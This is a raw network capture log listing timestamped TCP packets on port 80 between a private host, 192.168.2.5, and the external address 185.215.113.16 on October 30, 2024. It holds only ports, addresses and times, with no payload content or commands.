Oct 30, 2024 21:55:28.091888905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091888905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.091921091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091932058 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091948986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091955900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091965914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091974974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091984034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.091995001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092005014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092005014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092052937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092654943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092667103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092689037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092699051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092710018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092720032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092725992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092725992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092731953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092768908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092801094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092812061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092823982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092833996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092844009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092854977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092864990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092875004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092875004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092879057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092889071 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092891932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092905045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.092927933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.092927933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.133596897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.133661985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.133672953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.133686066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.133697033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.133744001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.133780956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.134820938 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.134833097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.134844065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.134895086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.175661087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175673008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175683975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175765038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.175765038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.175822020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175841093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175852060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175859928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175875902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175887108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.175906897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.175920963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.175997019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176007986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176023960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176037073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176045895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176057100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176071882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.176074028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176084995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176095009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.176095009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176107883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176120043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176130056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176131010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.176131010 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.176162004 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.176172972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.176853895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176863909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176873922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176893950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176902056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.176953077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.176953077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177036047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177046061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177083015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177083969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177113056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177123070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177141905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177160978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177171946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177180052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177212000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177369118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177378893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177388906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177463055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177774906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177835941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177845955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177881956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177881956 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177897930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177908897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177917957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177930117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177942038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177952051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.177969933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.177969933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.178000927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.178004026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178149939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178160906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178169966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178179979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178190947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178200006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178200006 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.178210020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178231955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.178241014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178251982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178261995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.178271055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.178333998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.179290056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179343939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179354906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179408073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.179419041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179430008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179440975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179450989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179501057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.179501057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.179511070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179522038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179531097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179539919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179550886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179568052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179579020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.179579020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.179584026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179595947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179605007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.179635048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.179635048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180458069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180517912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180530071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180579901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180579901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180592060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180603027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180613995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180624008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180655003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180655003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180700064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180710077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180720091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180730104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180743933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180747986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180784941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180823088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180834055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180844069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180855036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180865049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180865049 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180876970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180881977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180891991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180895090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180912971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180926085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.180979013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.180995941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181006908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181016922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181025982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181035995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181042910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181042910 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181047916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181060076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181070089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181070089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181082010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181092024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181102037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181107998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181108952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181113005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181128025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181140900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181158066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181175947 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181186914 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181196928 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181222916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181222916 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181325912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181335926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181346893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181359053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181369066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181377888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181379080 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181390047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181400061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181410074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181410074 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181411028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181421995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.181512117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181512117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.181608915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.229886055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229899883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229918003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229927063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229938030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229947090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229958057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229967117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229978085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229985952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.229996920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230006933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230072021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230072021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230072021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230072021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230072021 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230088949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230102062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230122089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230133057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230140924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230142117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230153084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230164051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230174065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230176926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230185032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230197906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230215073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230215073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230257034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230279922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230290890 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230309010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230318069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230328083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230333090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230340004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230350018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230359077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230372906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230376005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230387926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230397940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230407953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230417967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230428934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230446100 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230449915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230451107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230456114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230468035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230474949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230479956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230490923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230504036 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230509996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230513096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.230545998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.230545998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.252047062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.252065897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.252079010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.252104044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.252125025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.252139091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.252170086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.253464937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.253478050 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.253489971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.253560066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.253560066 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.293816090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.293884993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.293889046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.293895960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.293900967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.293997049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.293998003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.294012070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294018984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294023037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294029951 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294104099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.294120073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294131041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294137955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294142008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294147015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294213057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.294224024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294303894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294312954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294320107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294325113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294331074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294336081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294342041 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294397116 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.294696093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.294960022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294980049 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.294985056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295018911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295027018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295038939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295043945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295080900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295085907 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 21:55:28.295087099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295110941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295120001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 21:55:28.295242071 CET	49712	80	192.168.2.5	185.215.113.16
